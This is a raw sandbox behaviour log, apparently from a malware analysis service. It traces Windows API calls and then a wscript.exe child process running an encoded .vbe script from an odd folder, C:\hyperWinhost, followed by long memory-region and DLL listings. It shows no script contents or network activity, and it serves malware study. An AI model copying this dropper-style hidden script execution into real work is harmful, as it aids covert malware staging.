(Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 3 [0038.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 3 [0038.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="License", cchCount2=-1) returned 3 [0038.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 3 [0038.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 3 [0038.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 3 [0038.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 2 [0038.929] GetDlgItem (hDlg=0x302a6, nIDDlgItem=1) returned 0x20314 [0038.929] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0038.929] GetProcAddress (hModule=0x77000000, lpProcName="EnableWindow") returned 0x77022da4 [0038.929] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x36b990 | out: lpflOldProtect=0x36b990*=0x4) returned 1 [0038.930] EnableWindow (hWnd=0x20314, bEnable=1) returned 0 [0038.931] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0038.931] GetProcAddress (hModule=0x77000000, lpProcName="EndDialog") returned 0x7703b99c [0038.932] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x36b9a0 | out: lpflOldProtect=0x36b9a0*=0x4) returned 1 [0038.932] EndDialog (hDlg=0x302a6, nResult=0x1) returned 1 [0038.942] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5a9238 | out: hHeap=0x590000) returned 1 [0038.942] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5a9208 | out: hHeap=0x590000) returned 1 [0038.943] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x61ecc0 | out: hHeap=0x590000) returned 1 [0038.944] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0038.944] GetProcAddress (hModule=0x76d90000, lpProcName="DeleteObject") returned 0x76da5689 [0038.944] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x38f8cc | out: lpflOldProtect=0x38f8cc*=0x4) returned 1 [0038.945] DeleteObject (ho=0x502c5) returned 0 [0038.945] DeleteObject (ho=0x4050a2c) returned 1 [0038.945] IUnknown:AddRef (This=0x75ab66bc) returned 0x1 [0038.946] GdiplusShutdown (token=0x8d14d0) [0038.950] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0038.950] GetProcAddress (hModule=0x75970000, lpProcName="OleUninitialize") returned 0x7598eba1 [0038.951] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x38f8b4 | out: lpflOldProtect=0x38f8b4*=0x4) returned 1 [0038.951] OleUninitialize () [0038.953] GetModuleHandleW (lpModuleName=0x0) returned 0x870000 [0038.953] GetModuleHandleW (lpModuleName=0x0) returned 0x870000 [0038.954] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c3f10 | out: hHeap=0x590000) returned 1 [0038.954] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5a7b10 | out: hHeap=0x590000) returned 1 [0038.955] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5b3df8 | out: hHeap=0x590000) returned 1 [0038.955] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5b15c0 | out: hHeap=0x590000) returned 1 [0038.955] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5a5fa8 | out: hHeap=0x590000) returned 1 [0038.956] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5a66e0 | out: hHeap=0x590000) returned 1 [0038.956] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0038.956] GetLastError () returned 0x7e [0038.956] LoadLibraryExW (lpLibFileName="ext-ms-win-kernel32-package-current-l1-1-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0038.957] GetLastError () returned 0x7e [0038.957] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x38f9c4 | out: phModule=0x38f9c4) returned 0 [0038.957] ExitProcess (uExitCode=0x0) [0038.959] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5a4608 | out: hHeap=0x590000) returned 1 Thread: id = 2 os_tid = 0xe30 Thread: id = 3 os_tid = 0xe34 Thread: id = 4 os_tid = 0xe38 Thread: id = 5 os_tid = 0xe3c Thread: id = 7 os_tid = 0xe48 Process: id = "2" image_name = "wscript.exe" filename = "c:\\windows\\syswow64\\wscript.exe" page_root = "0x42883000" os_pid = "0xe40" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xe20" cmd_line = "\"C:\\Windows\\System32\\WScript.exe\" \"C:\\hyperWinhost\\pd7Yx3rYmMqL9vJy.vbe\" " cur_dir = "C:\\hyperWinhost\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 392 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 393 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 394 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 395 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 396 start_va = 0xf0000 end_va = 0x115fff monitored = 1 entry_point = 0xf2f3b region_type = mapped_file name = "wscript.exe" filename = "\\Windows\\SysWOW64\\wscript.exe" (normalized: "c:\\windows\\syswow64\\wscript.exe") Region: id = 397 start_va = 0x1a0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 398 start_va = 0x2f0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 399 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 400 start_va = 0x77dc0000 end_va = 0x77f3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 401 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 402 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 403 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 404 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 405 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 406 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 407 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 415 start_va = 0x220000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 416 start_va = 0x75640000 end_va = 0x75647fff monitored = 0 entry_point = 0x756420f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 417 start_va = 0x75650000 end_va = 0x756abfff monitored = 0 entry_point = 0x7568f9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 418 start_va = 0x756b0000 end_va = 0x756eefff monitored = 0 entry_point = 0x756de088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 419 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 420 start_va = 0x77270000 end_va = 0x7737ffff monitored = 0 entry_point = 0x77283283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 421 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 422 start_va = 0x779c0000 end_va = 0x77adefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000779c0000" filename = "" Region: id = 423 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 424 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077ae0000" filename = "" Region: id = 425 start_va = 0x3f0000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 426 start_va = 0x77270000 end_va = 0x7737ffff monitored = 0 entry_point = 0x77283283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 427 start_va = 0x77560000 end_va = 0x775a6fff monitored = 0 entry_point = 0x775674c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 428 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 429 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 430 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 431 start_va = 0x60000 end_va = 0xc6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 432 start_va = 0x76940000 end_va = 0x769dffff monitored = 0 entry_point = 0x769549e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 433 start_va = 0x76e20000 end_va = 0x76ecbfff monitored = 0 entry_point = 0x76e2a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 434 start_va = 0x77210000 end_va = 0x77228fff monitored = 0 entry_point = 0x77214975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 435 start_va = 0x77840000 end_va = 0x7792ffff monitored = 0 entry_point = 0x77850569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 436 start_va = 0x75910000 end_va = 0x7596ffff monitored = 0 entry_point = 0x7592a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 437 start_va = 0x75900000 end_va = 0x7590bfff monitored = 0 entry_point = 0x759010e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 438 start_va = 0x77000000 end_va = 0x770fffff monitored = 0 entry_point = 0x7701b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 439 start_va = 0x76d90000 end_va = 0x76e1ffff monitored = 0 entry_point = 0x76da6343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 440 start_va = 0x76b00000 end_va = 0x76b09fff monitored = 0 entry_point = 0x76b036a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 441 start_va = 0x77380000 end_va = 0x7741cfff monitored = 0 entry_point = 0x773b3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 442 start_va = 0x77930000 end_va = 0x779befff monitored = 0 entry_point = 0x77933fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 443 start_va = 0x75970000 end_va = 0x75acbfff monitored = 0 entry_point = 0x759bba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 444 start_va = 0x74910000 end_va = 0x74918fff monitored = 0 entry_point = 0x74911220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 445 start_va = 0x120000 end_va = 0x17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 446 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 447 start_va = 0x530000 end_va = 0x6b7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000530000" filename = "" Region: id = 448 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 449 start_va = 0x77190000 end_va = 0x771effff monitored = 0 entry_point = 0x771a158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 450 start_va = 0x75ad0000 end_va = 0x75b9bfff monitored = 0 entry_point = 0x75ad168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 451 start_va = 0x6c0000 end_va = 0x840fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006c0000" filename = "" Region: id = 452 start_va = 0x850000 end_va = 0x1c4ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000850000" filename = "" Region: id = 453 start_va = 0x20000 end_va = 0x22fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wscript.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\wscript.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\wscript.exe.mui") Region: id = 454 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 455 start_va = 0xd0000 end_va = 0xd0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 456 start_va = 0x74820000 end_va = 0x7489ffff monitored = 0 entry_point = 0x748337c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 457 start_va = 0x1c50000 end_va = 0x1cbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c50000" filename = "" Region: id = 458 start_va = 0x1cc0000 end_va = 0x1d9efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001cc0000" filename = "" Region: id = 459 start_va = 0x1dd0000 end_va = 0x1e0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001dd0000" filename = "" Region: id = 460 start_va = 0x1e40000 end_va = 0x1f3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e40000" filename = "" Region: id = 461 start_va = 0x7efd8000 end_va = 0x7efdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 462 start_va = 0x1f40000 end_va = 0x220efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 463 start_va = 0xe0000 end_va = 0xeefff monitored = 1 entry_point = 0xe2f3b region_type = mapped_file name = "wscript.exe" filename = "\\Windows\\SysWOW64\\wscript.exe" (normalized: "c:\\windows\\syswow64\\wscript.exe") Region: id = 464 start_va = 0x731e0000 end_va = 0x7323efff monitored = 0 entry_point = 0x731e2134 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\SysWOW64\\sxs.dll" (normalized: "c:\\windows\\syswow64\\sxs.dll") Region: id = 465 start_va = 0x22c0000 end_va = 0x22fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 466 start_va = 0x2490000 end_va = 0x258ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002490000" filename = "" Region: id = 467 start_va = 0x7efd5000 end_va = 0x7efd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 468 start_va = 0x747b0000 end_va = 0x747c2fff monitored = 0 entry_point = 0x747b1d3f region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 469 start_va = 0x120000 end_va = 0x120fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 470 start_va = 0x170000 end_va = 0x17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 471 start_va = 0x77100000 end_va = 0x77182fff monitored = 0 entry_point = 0x771023d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 472 start_va = 0x130000 end_va = 0x130fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 473 start_va = 0x75790000 end_va = 0x757fafff monitored = 1 entry_point = 0x75791409 region_type = mapped_file name = "vbscript.dll" filename = "\\Windows\\SysWOW64\\vbscript.dll" (normalized: "c:\\windows\\syswow64\\vbscript.dll") Region: id = 474 start_va = 0x140000 end_va = 0x140fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "pd7yx3rymmql9vjy.vbe" filename = "\\hyperWinhost\\pd7Yx3rYmMqL9vJy.vbe" (normalized: "c:\\hyperwinhost\\pd7yx3rymmql9vjy.vbe") Region: id = 475 start_va = 0x775b0000 end_va = 0x775defff monitored = 0 entry_point = 0x775b2a35 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\SysWOW64\\wintrust.dll" (normalized: "c:\\windows\\syswow64\\wintrust.dll") Region: id = 476 start_va = 0x76ed0000 end_va = 0x76ff0fff monitored = 0 entry_point = 0x76ed158e region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 477 start_va = 0x76ae0000 end_va = 0x76aebfff monitored = 0 entry_point = 0x76ae238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 478 start_va = 0x746a0000 end_va = 0x746b6fff monitored = 0 entry_point = 0x746a3573 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 479 start_va = 0x1e0000 end_va = 0x21bfff monitored = 0 entry_point = 0x1e128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 480 start_va = 0x1e0000 end_va = 0x21bfff monitored = 0 entry_point = 0x1e128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 481 start_va = 0x1e0000 end_va = 0x21bfff monitored = 0 entry_point = 0x1e128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 482 start_va = 0x1e0000 end_va = 0x21bfff monitored = 0 entry_point = 0x1e128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 483 start_va = 0x1e0000 end_va = 0x21bfff monitored = 0 entry_point = 0x1e128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 484 start_va = 0x74660000 end_va = 0x7469afff monitored = 0 entry_point = 0x7466128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 485 start_va = 0x140000 end_va = 0x140fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "pd7yx3rymmql9vjy.vbe" filename = "\\hyperWinhost\\pd7Yx3rYmMqL9vJy.vbe" (normalized: "c:\\hyperwinhost\\pd7yx3rymmql9vjy.vbe") Region: id = 486 start_va = 0x2a0000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 487 start_va = 0x2640000 end_va = 0x273ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002640000" filename = "" Region: id = 488 start_va = 0x7efad000 end_va = 0x7efaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 489 start_va = 0x75780000 end_va = 0x75787fff monitored = 0 entry_point = 0x75783bf5 region_type = mapped_file name = "msisip.dll" filename = "\\Windows\\SysWOW64\\msisip.dll" (normalized: "c:\\windows\\syswow64\\msisip.dll") Region: id = 490 start_va = 0x2740000 end_va = 0x2b3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002740000" filename = "" Region: id = 491 start_va = 0x150000 end_va = 0x150fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "pd7yx3rymmql9vjy.vbe" filename = "\\hyperWinhost\\pd7Yx3rYmMqL9vJy.vbe" (normalized: "c:\\hyperwinhost\\pd7yx3rymmql9vjy.vbe") Region: id = 492 start_va = 0x2450000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002450000" filename = "" Region: id = 493 start_va = 0x2cd0000 end_va = 0x2dcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002cd0000" filename = "" Region: id = 494 start_va = 0x75760000 end_va = 0x75775fff monitored = 1 entry_point = 0x757613df region_type = mapped_file name = "wshext.dll" filename = "\\Windows\\SysWOW64\\wshext.dll" (normalized: "c:\\windows\\syswow64\\wshext.dll") Region: id = 495 start_va = 0x7efaa000 end_va = 0x7efacfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 496 start_va = 0x72eb0000 end_va = 0x72f33fff monitored = 0 entry_point = 0x72eb19a9 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 497 start_va = 0x75c30000 end_va = 0x76879fff monitored = 0 entry_point = 0x75cb1601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 498 start_va = 0x75bd0000 end_va = 0x75c26fff monitored = 0 entry_point = 0x75be9ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 499 start_va = 0x2300000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002300000" filename = "" Region: id = 500 start_va = 0x75730000 end_va = 0x7575cfff monitored = 1 entry_point = 0x75731351 region_type = mapped_file name = "scrobj.dll" filename = "\\Windows\\SysWOW64\\scrobj.dll" (normalized: "c:\\windows\\syswow64\\scrobj.dll") Region: id = 501 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 502 start_va = 0x2b40000 end_va = 0x2c3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b40000" filename = "" Region: id = 503 start_va = 0x75700000 end_va = 0x75720fff monitored = 1 entry_point = 0x7570e356 region_type = mapped_file name = "wshom.ocx" filename = "\\Windows\\SysWOW64\\wshom.ocx" (normalized: "c:\\windows\\syswow64\\wshom.ocx") Region: id = 504 start_va = 0x72e90000 end_va = 0x72ea1fff monitored = 0 entry_point = 0x72e91200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 505 start_va = 0x72e60000 end_va = 0x72e89fff monitored = 0 entry_point = 0x72e613f2 region_type = mapped_file name = "scrrun.dll" filename = "\\Windows\\SysWOW64\\scrrun.dll" (normalized: "c:\\windows\\syswow64\\scrrun.dll") Region: id = 506 start_va = 0x150000 end_va = 0x15bfff monitored = 1 entry_point = 0x15e356 region_type = mapped_file name = "wshom.ocx" filename = "\\Windows\\SysWOW64\\wshom.ocx" (normalized: "c:\\windows\\syswow64\\wshom.ocx") Region: id = 507 start_va = 0x160000 end_va = 0x160fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 508 start_va = 0x2260000 end_va = 0x229ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 509 start_va = 0x2f00000 end_va = 0x2ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002f00000" filename = "" Region: id = 510 start_va = 0x74480000 end_va = 0x74574fff monitored = 0 